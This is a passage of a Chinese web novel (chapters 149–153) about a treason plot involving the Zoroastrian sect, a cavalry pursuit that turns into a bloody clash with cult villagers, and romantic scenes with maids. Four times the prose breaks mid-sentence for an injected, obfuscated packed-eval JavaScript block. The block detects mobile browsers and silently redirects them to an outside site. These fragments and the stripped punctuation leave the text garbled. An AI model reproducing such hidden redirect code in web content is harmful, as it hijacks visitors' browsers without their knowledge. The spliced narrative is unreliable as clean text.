察觉到刘翰阳的到来,顾南山缓缓放下手中的茶盏,既不起身相迎,也未施礼问候,只是嘴角勾起一抹意味深长的笑,声音低沉而富有磁性:“呵呵呵,看来刘大人已经得到答案了。怎么?你就不象征性地悲痛一下吗? 刘翰阳冷哼一声,脸上肌肉紧绷,眼中闪烁着冰冷的寒光,大步流星地坐到椅子上,直视着顾南山:“哼,林臻那贼子竟敢害我爱女,此仇不报,誓不为人!我定要让他血债血偿! “爱女.呵呵呵,顾南山轻轻摇晃着手中的空茶盏,眼神中闪过冷笑与唾弃:“恕老奴老眼昏花,还真看不出来。 刘翰阳闻言,目光愈发狠厉:“你少在这阴阳怪气的,说吧,怎么个合作法?只要能让林家死光,老夫全都答应你! “痛快!老奴听说你还有个爱女,出落得很是水灵,比起刘书瑶来也不遑多让。后来因林震仙那档子事没嫁出去,不如先借老奴用用? 刘翰阳闻言,眼神微凛,透出一丝戒备:“你要干什么?老夫可就这一个女儿了。 “刘大人此言差矣成大事者不拘小节。再说,女儿到最后不都是泼出去的水嘛,有什么好心疼的。等我们大功告成,你娶一百个老婆,生二百个女儿,也不是问题啊。 “我是想给你女儿保个大媒。 “顾家现在靠不住了,林家那清高的姿态又不让我们靠,所以我们只有自谋出路才行。我已经探得佛教和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789282|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜火教的大秘密,更是与拜火教暗中搭上了线。只需我们在关键时刻伸出援手,拜火教便欠我们一个天大的人情。 刘翰阳怔怔地看着他:“拜火教?那不是魔教么,顾南山,你到底要干什么? 他的语气中既有震惊,也有深深的不解。 顾南山微微一笑:“呵呵呵。正教也好,魔教也罢,在历史的洪流中谁又是真正的正义?最终,不过是一场权力与利益的较量罢了。只要能达到我们的目的,靠谁不是靠?你相信我,最迟三个月内,楚国一定会对大乾用兵,那时,便是你我大展宏图的绝佳时机。 “哼,就算南楚入侵,你以为林震仙没办法应付吗? “确实如此,以林震 仙的智谋与手段,在这场战争中不可能输得,但我们要让他输才行。” “这我同意,最好让林震仙直接死在战场上!以解老夫心头之恨!说吧,需要老夫做什么?” 顾南山面色阴沉,眼中闪烁着狠厉之光:“我需要你的家产来做投名状,需要你的家人来做人质。但请宽心,待到大事尘埃落定,这一切我都会原物奉还,毫发无损。” 刘翰阳显然也不是傻子:“你说具体点,到底要怎么做才能让林震仙死?说不明白,老夫绝不会与你合作。” “林震仙死定了,林臻也死定了。因为我的人已经顺利渗透到林臻身边,成为了他的跟班。只等战事一起,林家上下便会在顷刻间灰飞烟灭,呵呵呵呵。” 刘翰阳闻言,面上虽无太大波澜,眼中却闪过一丝难以察觉的惊惧与忧虑,他说道:“如果林家全死了,大乾怎么办?难道就这么送给南楚?” “刘大人未免太过悲观了。你还不知道吧?拜火教早已悄无声息地渗透到大乾的每一寸土地,自辽东之北,至泰山之巅,再深入太行腹地,已经有几十名地方官加入拜火教,而民间的信徒数量更是惊人,恐怕已是佛教信徒的两倍有余。 而且拜火教的信徒们一旦皈依,信仰就会极其虔诚,除非死亡,否则绝不会叛变。等林家灭亡之后,我立刻上书建议陛下” 第150章 长老一定会喜欢这个炉鼎的 “等等!刘翰阳闻言,猛地打断了对方的话,“你是说,你要亲自上书进言?哼,你一个身为奴仆的管家,何以有资格向陛下献策? “呵,就眼下的局势而言,顾家没几天好过了。林臻此子已不是早年的纨绔,他针对顾家的行动一刻也没有停止过。那个顾北辰简直就是个愚不可及的大傻子,屡战屡败,还自视甚高,自命不凡,自以为是。呵,老夫才不会与这样注定失败的人为伍。 “你的意思是,顾家要完了? “不出两个月,他们肯定会完!那帮愚蠢至极之辈,竟敢在这等敏感时刻伸手贪取辽东赈灾的钱粮。他们难道就不知道林臻已经开始调查了吗?等证据确凿之时,便是顾家大厦倾颓之日。而我,则会借助太保之力,重登朝堂,再拾官袍。到那时,我自然就有为陛下建议的资格。 顾南山继续说道:“林震仙一定会兵败身亡。到时候大乾危在旦夕,只要有一丝一毫的希望,陛下都不会错过。到时候,我会让拜火教的人重新统领林震仙的士兵,再从民间招募拜火教信徒,与南楚对抗。别看他们中很多是普通百姓,但他们可是真不怕死啊! 即便是万丈深渊,刀山火海,只要阿胡拉神谕降临,他们亦会义无反顾,勇往直前。更别说,南楚那边也有很多拜火教的信徒。届时战争打响,南楚拜火教的人会刺杀他们的将军,大臣,让南楚陷入内乱,我们趁机将南楚军队打败,然后再反过头来直取皇城!哼,就凭那个下巴没毛的小皇帝,根本挡不住这泱泱大军。 言及此处,顾南山又一次悠然地倚靠在椅背上,指尖轻轻拨弄着碗中浮沉的茶叶,语调中带着几分闲适与笃定:“待我荣登九五之尊,你这位开国功臣自是地位显赫,无与伦比。届时,你想要什么还不是一句话的事情。 刘翰阳听后,眉宇间却并未舒展,反而拧得更紧,他沉吟片刻,终是忍不住忧虑地问道:“可一旦你登基为帝,那拜火教又该如何处置?他们会眼睁睁看着你大权在握吗? “到时候拜火教会成为国教。 “你这是自寻死路!拜火教那群人狼子野心,岂是易于驯服之辈?恐怕用不了多久就会起兵反你! “哈哈哈哈,我都不慌,你慌什么?等一切尘埃落定,我自然会有办法将拜火教赶尽杀绝,不留后患。不过区区一个宗教组织,竟妄图与我平分天下,他们凭什么?哼。 顾南山嘴角勾起一抹冷笑,悠然自得地端起茶盏,轻啜一口,举止间尽显从容自信。随后目光注视着刘翰阳。 刘翰阳心中暗自盘算。 一旦选择与顾南山合作,那就是谋反的大罪。但林臻明显是要置他于死地,既然已身处绝境,退路全无,倒不如拼一次。 万一成功,我就是开国功勋,若不成,我就带着家人在山野间当个富家翁! 至于林臻的仇,择日再报。 “好,我同意合作,但你要保证我和我家人的安全!” “没问题!刘大人,事不宜迟,你需要在今晚之前将家中所有细软打包,将府上所有贵重细软整理妥当,携家眷速速离开京城” “啊?为什么?你总得给我点时间准备吧?”刘翰阳一脸愕然,言辞间略显迟疑。 顾南山投去一抹淡淡的不屑,语调冷冽“准备?刘大人,你若不走,明天你可走不了。” “什么意思?”刘翰阳冷汗下来了。 顾南山说道:“林臻不仅杀了你的闺女,还大大方方让你知道,明显对你也动了杀心,最迟明天,最快今晚,他肯定会有所动作。你若不想死,立刻就走!” 刘翰阳闻言,额间冷汗涔涔而下。 他倒吸一口凉气说道:“嘶好吧,我现在就去让他们收拾东西,只是这宅子,还有诸多家当又如何是好?许多物件儿,岂是说搬就能搬走的。” “不妨事,你留下一纸字据,余下的变卖事宜,我自会替你料理。所得银两,我定会安全送至河间,那是拜火教的根据地。你且安心避上一阵子,等南楚和大乾开战的时候再回来。” “好吧,我就信你一次。” 言毕,他缓缓站起身,脚步沉重地迈向书房外,吩咐起丫鬟仆役,着手准备行囊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789283|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然顾南山却望着他的背影,阴冷地笑了笑。 夏日的余晖似乎总依依不舍地留恋天际,为刘翰阳预留了宽裕的时光来打点一切。当夜色如轻纱般悄然覆盖大地,他遣散了丫鬟仆役,带着妻子小妾,以及刘书瑶的妹妹刘玉莹,和刚刚出生尚在襁褓里的小儿子出城。 城外,凤栖村蜿蜒的乡间小径上,已有数辆马车静默守候,双方交换了暗号,确认了彼此的身份无误后远离京城而去。 在这片被月光轻抚的静谧之中,顾南山自一片隐蔽的林间缓缓走出,他的步伐轻盈,仿佛不愿惊扰这份夜的宁静。 伴随他一同步入月光地,是一位面容异于中原人士的神秘客。此人身披一袭洁白如雪的长袍,袍上胸口位置,一抹炽热火焰图案跃然其上,头戴一顶洁白斗笠。 顾南山目光深邃,对着身旁这位肤色略显黝黑、身形魁梧的异域之人低语道:“告诉你们长老,事情我已经办妥了,尽快把我想要的东西送来,否则我们就鱼死网破。” 那异域之人闻言,嘴角勾起一抹在夜色中显得格外诡异的笑,那笑容中既有戏谑,又藏着几分令人心悸的寒意:“呵呵呵,顾先生放心,那小姑娘我看了,确实是个美人胚子,想来我们长老会非常喜欢这个炉鼎的。” “我说的是,我要的东西!” 那人却顾左右而言他:“刘翰阳那几个小妾也不错,看来分坛那边的人又可以爽上一爽了。” 顾南山面色冷凝,轻轻一挥手,一道暗影倏地在他身后浮现。紧接着,一柄锋利的匕首悄无声息地抵上了那人的后腰。 那人双手高举过头,干笑了几声,声音中带着几分尴尬与讨好:“呃呵呵呵,顾兄何必动怒,不过是个玩笑罢了。你放心,我家长老一言既出,驷马难追,那五百套光明铠,二十日内必定送达。” “最好如此,哼。”顾南山冷哼一声,目光如冰,转身大步迈向城门,嘴里低声自语:“刘翰阳,你可别怪我,要怪,就只能怪你自己太蠢。” 言罢,他的身影渐渐融入了城门的阴影之中,只留下一抹决绝与冷厉。 第151章 误会,末将不知道你在耍流氓 刘翰阳一家携带四辆马车的金银细软,踏上了前往拜火教分坛的漫漫旅程。此行路途遥远,需耗时数日,所以我们暂且说说林臻这边。 林臻回到王府,心中怒火难消,平日里缺乏管教的丫鬟仆役见到他这个样子也都躲得远远的,没人敢上前套近乎。 林臻独自回到书房,坐在太师椅上,昏黄的烛光摇曳映照着他紧锁的眉头,一时间思绪万千。 前些时日,林震仙在早朝上字字铿锵,历数刘翰阳的种种不堪,想借此机会将其彻底打入尘埃。但没想到被慕容嫣强行保下,只罚他闭门思过,至今未曾解除禁令。 这一变故,使得户部侍郎之位暂时空缺,由那向来保持中立的户部郎中,曲成全代为署理。 这也正是慕容嫣高明的地方。 如果他听从了林震仙的建议把刘翰阳罢免或者流放,那她就没办法顺理成章地把自己人提上去。毕竟不管是顾北辰还是林臻,都对这肥缺虎视眈眈,欲将其纳入囊中。 不过这个结果对林臻来说是可以接受的,因为他和慕容嫣是同样的想法。 但顾云霆肯定是气炸了,听说回去还杖毙了两个小厮。 林臻手执毛笔,轻轻蘸墨,于宣纸上缓缓勾勒。笔下似有千言万语那般,却终是化作一道道曲折的线条,如同他此刻的心境,复杂而纠葛。 刘翰阳是必死的。 这不仅仅是报仇,更是为他自己多年的舔狗名声雪耻。 别说什么窝囊废不窝囊废的,如果手握兵权的是林臻,他完全可以不顾林震仙的反对而疯狂杀杀杀。 但这不是没有么。 所以此事必须得从长计议。 既要除掉他,又不能留下丝毫把柄. 就目前的情况来看,着实不易啊。 唉,说到底还是林震仙掣肘了自己。 “咚咚咚。 沉稳而有力的敲门声,在这静谧的书房中显得格外清晰。 林臻放下毛笔,动作优雅而从容。 “来。 随着话音落下,曹雄推门而入,步伐稳健,一进门便对林臻抱拳行礼:“世子,有新消息,廉强嗝屁了! “死了?林臻眉头微挑,眼中闪过一丝错愕,随即又迅速恢复平静。 “怎么死的? “听说是那Beyond咬舌自尽了,但末将不这么认为。他要真有这两下子,早就他妈咬舌头了,还能等到今天?曹雄的语气中带着几分不屑与疑惑。 林臻闻言 ,嘴角勾起淡淡的微笑,目光中透露出对这个东北壮汉的几分赞赏与欣慰:“不错啊,成长了许多。” 其实吧,即便所谓的咬舌自尽真的存在,那廉强也没必要强忍了这么多天的酷刑,到今天才下狠心,这不符合逻辑。 曹雄憨态可掬地一笑:“多谢世子夸奖,可是大理寺就是这么说的,末将怀疑这里面应该有猫腻,您说我们是不是应该派人去查查?” 林臻神色慵懒,靠在椅背上浑身放松,对廉强的死未露丝毫惋惜之情。 “廉强应该是被灭口了,大理寺担心陛下怪罪,所以才想出这么个理由。他家人呢?” “男的还扣留在大理寺,估计会安排充军,那些女眷已经被谭武带去了教坊司。” “呵。””林臻不屑冷笑,声音低沉而清幽:“如此看来,那些官员们又有新的乐子可寻了。也罢,都是蛇鼠一窝的东西,爱死不死。有没有索立文的消息?” 曹雄闻言,摇了摇头:“没有。” “这倒是奇了,两人同时受刑,怎会只取了廉强的性命?难不成索立文身上还藏着他们想要挖掘的秘密?要真是这样.他们应该不惜一切代价去劫狱才对啊。” 林臻心中百转千回,却始终难以解开这团迷雾。 自他穿越进这本书里,一切似乎都已悄然改变,命运之轮滚滚向前,再也无法回到最初的轨迹。 不过林臻还是打算以不变应万变,先稳坐钓鱼台,静看事态的发展。 在没有确定什么情况下就贸然行动,绝非智者所为。 此时曹雄一脸贱笑,眼中闪烁着狡黠之光,压低声音,带着几分猥琐意味问道:“世子,廉强家里可还有三位如花似玉、待字闺中的小娘们呢!您不先去教坊司尝尝咸淡?” “尝你妹的咸淡,家里一大帮女人还尝不过来呢。”林臻翻了个白眼,“你且去探探风声,看看谭武那小子最近都在和哪些人打交道。这次陛下是动了真格的,防守严密得连只苍蝇都难飞进去。还有,别忘了盯紧索立文,有任何风吹草动,即刻向我禀报。” “是,属下这就去办。”曹雄走了,林臻再次陷入沉思。 现在面临的问题有两个。 其一是,究竟是谁杀了廉强? 林臻认为应该是顾北辰,因为在他眼中只有死人才不会开口说话,毕竟廉家知道太多关于顾家的秘密。顾家为了保全自己在慕容嫣心中的形象与朝堂的地位官职,这么做完全合情合理。 但昨天宋正林说过,顾云霆曾派人去过大 理寺,结果被谭武驳回了。 如果不是顾家下的手,那又会是谁呢? 再有,索立文为什么没死?难道说杀手故意没杀他,是想让他吐出什么东西来? 极有可能。但索立文面对数日的酷刑都没交代,又怎么会轻易坦白呢? 林臻琢磨着自己是不是应该找个时间去牢里看看索立文,说不定能有什么新发现。 不过谭武现在是块难啃的骨头,非得慕容嫣亲自点头才能进去,否则就只能带兵包围大理寺强闯。 显然,后者并不是什么好办法。 也罢,那就明天勉为其难的去看看慕容嫣吧。 佳人如玉,温婉多姿,多看几眼,倒也能滋养心性,愉悦身心。 “咚咚咚。 敲门声再度响起,未待林臻有所回应,门扉已被轻轻推开。 浣碧轻提一盏光洁的油灯,步伐婉转,如同微风拂过枝头,悄无声息地步入室内。 她嘴角含笑,笑容温暖而明媚,恰似春日里温柔的阳光,洒满每一寸空间。 将油灯小心翼翼地置于案几一隅,灯火摇曳,映得她的脸庞更加柔和,轻唤了一声:“世子。 言罢,她又是甜而不腻的一笑:“世子要不要用膳呢? 林臻闻言,缓缓转头,目光恰好与浣碧那双明亮的大眼睛相遇,其中仿佛蕴含着千言万语,无需多言,两人心意已通,那份默契如同相伴多年的老夫老妻。 当初说下不去手的小丫头,如今也被自己吃了个一干二净。 由此可见,古人的同化能力还是很强的,至少林臻就被改变得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789284|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是彻底。 林臻心中涌起一股暖流,轻轻摇了摇头,说道:“不急,再等等吧。 “是。浣碧微微欠身,姿态端庄温婉,眼中闪烁着对林臻深深的依恋与敬仰。 这一刻,室内静谧而温馨,仿佛连时间都为这份深情而驻足。 忽地,林臻一把将浣碧抱到至自己腿上。 这突如其来的举动让小姑娘猛地一惊:“啊!世子! 林臻眼含笑意,温柔地安抚道:“别怕,让为夫香香~ 言罢,空气中瞬间弥漫开一丝旖旎。 “哎呀,这里可是书房!浣碧嘴上虽如此说着,双手却只是象征性地推拒了一下,随即眼眸缓缓合上,似是在期待着那份即将降临的温柔。然而,就在这神圣而微妙的瞬间,书房的大门竟被猛然推开。 “砰! 又是曹雄! 他一脸惊愕地立在门口:“世子!出事了!” “哎呀!”这一声惊喊,让浣碧那本就羞涩的脸庞瞬间染上了更深的绯红,仿佛熟透了的苹果。她慌忙从林臻腿上坐起,双手紧紧捂脸,娇羞地逃向了内室,留下一串慌乱的脚步声。 林臻同样吓了一跳,瞬间松手,心虚得不行。 仔细想想,我TM跟自己小妾亲热有什么好心虚的? 正当林臻怒目圆睁要质问曹雄的时候,就看到这家伙捂着眼睛侧身说道:“世子对不起!末将不知道你在和浣碧姑娘耍流氓.啊不,是亲热!亲热!” “混账东西!刚才进门还知道敲门呢,现在怎么不敲了?” “世子,属下真有急事要禀报啊!” “说!说不出个所以然来,我打断你的腿!”曹雄一听,急忙趋步上前,双目圆睁,神色紧张。 “世子,刚接获密信,刘翰阳一家已经人去楼空,不翼而飞了!” 林臻闻此,瞳孔猛地一缩:“什么?他跑了?” “肯定是!而且他十分狡猾,刘府里的主子都是乔装后一个一个出去的,出去后就没有再回来。所以我们负责看守的士兵现在才发现。世子,怎么办?追不追?” 刘翰阳若要潜逃,必是早有预谋,暗中备下了马车。 然而,至臻车马行的每一辆马车想要出城,都必须有晴雯的盖章文书才可以,否则城门令是不会放行的。 看看时间,此刻晴雯应该也快回来了。 说曹操,曹操就到。 只见晴雯右手食指轻巧地勾着车马行的铜钥匙,随着步伐轻轻旋转,缓缓步入书房,嘴角含笑,调皮地道:“世子~奴婢今天又给您赚了不少钱哦~” 林臻却未接她的俏皮话,身形一晃已自椅上站起,声音冷冽如寒风穿堂:“晴雯,今日可有马车擅自离城?” 晴雯一脸茫然,望着林臻那仿佛要吃人的怒容,纵使心中有万般娇嗔也不敢再轻易耍性子,只得乖乖地答道:“出城?没有呀,今天一共就七十六个车夫上工,晚上都回来了。” 曹雄闻言牙关紧咬,恨声道:“那肯定就是刘翰阳自己准备的马车!世子,属下这就带三百轻骑沿着车辙去追,肯定能追上!” 林臻亦是颔首,神色凝重:“嗯,事不宜迟。但是你切记,万万不能伤了刘翰阳,要完好无损的带回来!他的头颅,必须我亲自砍!” “世子放心!”言罢曹雄气势汹汹地走了出去。 第152章 奴婢给您吃两口缓解下压力吧 林臻呆愣愣地坐回原位,眼神不断变幻。 太可疑了。 京城就是刘翰阳的根,他的一切都在这里,他能逃到哪里去呢?更何况他对自己是有滔天恨意的,这一走,他难道不想找我报仇了吗? 刘翰阳这波操作,怎么看怎么都觉得有问题。 林臻缓缓靠向椅背,双手轻轻揉按着太阳穴,脸上浮起一抹苦涩。 近来琐事如潮,一波未平一波又起,令他应接不暇。 心弦紧绷,日复一日,即便是铁打的身子,也难免感到心力交瘁。 这时林臻感觉到肩膀上突然多了一双细腻而柔软的玉手。 是晴雯。 她以指尖轻轻摩挲,动作中带着一种难得的温柔与安静,没有往日的喧嚣与浮躁,仿佛化作了一潭静水,深深沉沉地沉浸在他的身旁。 她知道林臻累了,需要休息,因此今天的她出奇的安静,没有叽叽喳喳的七嘴八舌,也没有色眯眯地动手动脚,甚至连眼神都没有丝毫乱瞟,只是静静地凝视着林臻,仿佛在无声地说:我在这里,你且安心。 她还对屏风后面的浣碧勾勾手指,后者也俏生生地走过来,蹲下身,轻巧地将林臻的一条腿放在自己的膝盖上,小拳头不轻不重地敲着。 林臻闭着眼睛,享受着这两位佳人的细致照料。许久之后,他才缓缓开口,声音中带着一丝不易察觉的满足:“今天就招了十六个人吗? 闻言晴雯浅笑盈盈,眸中闪烁着灵动的光芒,轻启朱唇,答道:“是,奴婢晨起便遣了亲卫,将招募告示张贴在各处显眼的地方。午时过后,应募者络绎不绝。但我们的要求很高,也很繁琐,还需要有保人,所以一个下午的时间只选出这十六个人。 “招工一事切勿急功近利,要保证人品才行。现在几乎全城的百姓都知道当车夫赚钱,所以人是肯定会招够的。 “奴婢晓得啦~ 言罢晴雯轻轻依偎在林臻耳畔,香气环绕,吐气如兰地说道:“世子,需不需要奴婢吃两口,给您缓解下压力? 林臻笑着,反手将她拽到自己另一条腿上,伸手宠溺地捏了捏她娇嫩的脸蛋。 “不必了,今天没心情。 “那奴婢给您唱首歌吧~~咳咳~ 浣碧蹲在那里,瞧着两人间那份不言而喻的亲密,心中五味杂陈。总觉得此情此景下,自己该说点什么以打破这份微妙的氛围。然而,她张了张嘴,话语却像是被风吹散了一般,迟迟未能成形。 她没 有晴雯那么大胆也没有晴雯会的花活儿多。 半晌才勉强挤出一抹略显生硬的笑容声音细若蚊蚋:“额对呀世子晴雯唱歌可好听了呢~” “哈哈哈哈!”林臻哈哈大笑放下腿顺势将浣碧揽到自己的膝头。 于是两位佳人各据一方和谐共坐再也不见先前的嬉闹与争斗。 林臻的手指轻轻掠过浣碧挺翘的鼻梁带着几分宠溺的意味:“你这小脑袋里别总想着失宠不失宠的哪有那么容易就被比了下去。” 晴雯在一旁默默注视眼中并无半点嫉妒之色她自然地端起林臻方才饮过的茶杯轻啜一口润了润喉咙随即以一种温婉而悠长的语调唱了起来。 “天无~绝人之路~~地有好生~之德~~花开花落自有时水长东流无尽期……” 歌声如丝如缕穿透了半开的窗棂悠悠地飘向远方。 晨光初破黎明的寂静刘家上下一夜未曾合眼沉浸在一种莫名的沉重之中。 蜿蜒曲折的乡间小道上一支绵延数百米的马车队伍缓缓向南行进宛如一条沉睡的巨龙在晨曦中苏醒蹒跚前行。 队伍中最为显眼的一辆马车里刘翰阳摇晃着身体勉强咽下一块干硬如石的锅盔就着一口清洌的冷水。 自从他为官以来何曾遭受过这么差的待遇?不是没有钱去买而是护送的拜火教信徒严令不得入城迫使他们只能沿着这偏僻的乡间小径迤逦前行。 小路人烟稀少即便偶尔路过村庄也没有像样的东西可以吃有钱都花不出去。 刘翰阳的妻子唐氏刘书瑶的生母同时也是刘家的正室夫人年约四旬面容温婉中带着几分憔悴。她轻抬皓腕以手绢轻轻拭去眼角滑落的泪珠。“老爷你说的可是真的?书瑶她真的遭到了林臻的毒手?” “这还能有假?” 唐氏闻言脸上的温婉瞬间被深深的痛心所取代她喃喃自语:“真是知人知面不知心啊!林臻对我们刘家的惩罚还不够吗?居然还对书瑶痛下杀手我可怜的孩子啊.呜呜呜呜” 言罢她的泪水再次泪水如断线的珍珠纷纷洒落。 刘翰阳见状 虽然知道是不可能的但刘翰阳为了安慰妻子还是要这么说。其实在他心里只要林家能灭门就行谁杀的都无所谓。 唐氏忧心忡忡再次开口 :“那晨儿和涛儿呢?他们还在军营里啊。 “我已经发了密信,用不了多久他们就会到清河与我们团聚。 唐氏闻言,泪眼婆娑中透出一丝宽慰,转而将视线投向了自己最为疼爱的小女儿,刘书瑶的妹妹——刘玉莹。 这位温婉如玉的女子,此刻正静静地坐在一旁,眼神中既有对家族变故的震惊,也有对亲人安危的深深挂念。 因为刘书瑶出轨顾北辰,林震仙震怒,导致已经穿好嫁衣的她再次待字闺中。 但她是个很懂事的姑娘,不吵不闹,眼见双亲满面愁云,反以柔言抚慰:“父亲不必难过了,说不定到了清河,我们就会开始新的生活呢! “好孩子,睡吧,再有两天也就到了。 轰隆隆隆隆—— 正此时,天际间忽传轰鸣之声,如雷霆滚动。 刘翰阳身躯不由一颤,疑惑道:“嗯?什么声音? 他撩起马车尾部的车帘向外窥视,但见无数黑影自队伍后方疾驰而来,尘土飞扬,遮天蔽日,仿佛要将这天地一并吞噬。 为首之人,正是骑着一匹骏马,风驰电掣般冲来的曹雄! “驾! “驾! 曹雄的吼声在风中回荡,带着不容置疑的威严,“前方的马车,立即停下!否则,格杀勿论! 刘翰阳闻言,惊恐万分,双眼瞪得滚圆:“追来了,他们追来了! 坐在一旁的唐氏,声音颤抖地问道:“谁追来了? “是龙骧营的骑兵!刘翰阳的声音低沉而绝望:“林臻来抓我们了! “啊!?这可如何是好啊!? “父亲!我们怎么办呀?众人面上皆浮现出惊恐之色,刘翰阳更是被吓得浑身汗如雨下,灵魂出窍。 只见队伍的后方,曹雄率领的骑兵如狂风骤雨般席卷而来,已逼近至队伍最末的马车旁。 他策马至马车旁边,声如雷鸣,厉声喝道:“停车!否则别怪曹爷爷不客气! 话音未落,马车的一扇窗户忽地被推开,紧接着,一只寒光闪闪的手弩猛然探出! 曹雄刹那间只觉头皮一阵发麻,双眼几乎要瞪出眼眶,恐惧之情溢于言表。 他几乎是出于本能地低下了头,然而,那支弩箭并未瞄准他的头颅,而是他身下的战马! “咻! “噗! “吁~~~一声悠长而悲怆的战马嘶鸣划破长空,雄壮的身影骤然间轰然倒地。曹雄借着马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789285|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿倒下的力量,顺势抽出长刀,身形在空中划出一道流畅的弧线,稳稳落地。 待他回首望向那曾陪他冲锋陷阵的爱驹,只见马嘴间已溢满了白沫,活不成了。 是毒箭! “曹将军!”身后,士兵们的呼喊声夹杂着急促的马蹄声迅速逼近。 曹雄怒目圆睁,骂声如雷:“草他姥姥的,刘翰阳这是找死!继续追,小心他们有毒箭!” “是!”士兵们齐声应和,士气未减。 曹雄拎着大刀狂奔。 就在这紧要关头,那队伍中的最后一辆马车上竟突兀地跳出来一个人! 那人手中紧握一只火红色的巨大号角,那号角在阳光下闪耀着不祥的光芒,被他奋力吹响,发出震耳欲聋的轰鸣:“唔———” 四方田野间,村民们闻听那穿透云霄的号角之声,瞬间沸腾起来,齐声高呼。 “是分坛的紧急号角!” “村口出事了!” “大家抄家伙!” 刹那间他们仿佛被拜火教的狂热信仰点燃,上千名村民手持各式农具与武器,如潮水般涌向村口。恰在此时,刘翰阳的马车队伍疾驰而来,与之擦肩而过,扬起一阵尘土。 龙骧营的士兵见状,意欲追击,却被这股汹涌的人潮死死堵住去路。为首的一名士兵,面如寒霜,怒喝道:“大胆!竟敢阻拦朝廷大军,该当何罪!” “咻!” 话音未落,人群中忽地一支利箭破空而出,而刚刚还声音雄浑的士兵立刻就被射下战马。 “额啊!!” 目睹着并肩作战的兄弟在自己眼前轰然倒下,士兵们的双目瞬间充血,怒火中烧。队伍最前端的两位,更是怒不可遏,拔刀出鞘,想要屠戮村民。 此刻,曹雄亦在后方目睹了这一幕,他心如刀绞,怒火填胸,不顾一切地向前狂奔,声嘶力竭地怒吼:“连军人都敢杀!我他妈草你们姥姥!” 就在这双方对峙,气氛紧张得几乎凝固的瞬间,村子里那座最高的瞭望塔上,赫然出现了一个身披白色长袍的身影。 那是一位波斯人,他的胸膛上绣着熊熊燃烧的火焰图案,手中紧握着一个精致如火炬般的火把,高高举起,对着苍穹大声呼喊:“阿胡拉神谕降临!信徒们,让神火湮灭这群害虫吧!” “神火?我神你妈了个比!” 曹雄怒喝一声,猛地夺过身旁的弓箭,未及细瞄,箭矢已如离弦之电,划破空气:“嗖!” “额!”利箭正中波斯人的胸口,他身体摇晃两下,从高高的瞭望塔一头栽了下来。 曹雄嘴角勾起一抹冷笑,不屑地道:“呵,狗东西,敢在爷爷我的面前蛊惑百姓!” 然而,他浑然未觉自己已闯了大祸,四周的村民,男女老少,目光如炬,皆含恨瞪视着他,仿佛要将他生吞活剥。 这时,人群中不知何处爆发出一声悲愤的呼喊。 “大巫师死了!” “为大巫师报仇!” “神火终会人间,洗刷尘世的罪孽!” “杀啊!!”村民们仿佛被狂热的火焰瞬间点燃,纷纷抄起手中的锄头、扁担、菜刀,乃至一切能作为武器的物件,疯了似的向龙骧营骑兵冲了过去,眼中闪烁着不顾一切的决绝。 曹雄脸色骤变:“干什么干什么!?你们他妈疯了不成!?” “额啊!!” “噗!” “曹将军!!大勇二勇死了!” 曹雄双目圆睁,血丝密布:“我草你们血妈的!一个个都TM想造反是不是!老子成全你们!” 言罢也拎起长刀就冲入人群之中。 第153章 可恶的晴雯,你要憋死我吗? 曹雄以及龙骧营的遭遇林臻完全不知道因为他从来没想过三百骑兵去追个丧家之犬还会出什么岔子。 夜色如绸温柔地拥抱着王府后院;月光倾洒于十字路上编织出一幅光影交错的画卷。 林臻今晚打算搂着晴雯和浣碧大被同眠。也仅仅是同眠在一起睡一觉而已林臻今天什么心情都没有别无他念。 晴雯举双手双脚赞成欢呼雀跃一蹦一跳地去铺床心中无比期待。相比之下浣碧的脸飞快爬上两朵红晕她坚决地摇头眼神中既有羞涩也有抗拒但最终还是在林臻坚持下被拉进了温暖的被窝。 在这狭小的空间里林臻左拥晴雯右抱浣碧深切感受着两位佳人的温柔与美好心中满是宁静与满足。 夜色深沉万籁俱寂之时浣碧被一阵蚊子的声音惊醒 月光透过窗棂洒在晴雯身上她浑身白皙如玉宛如一条水蛇紧紧缠绕着林臻不松手。 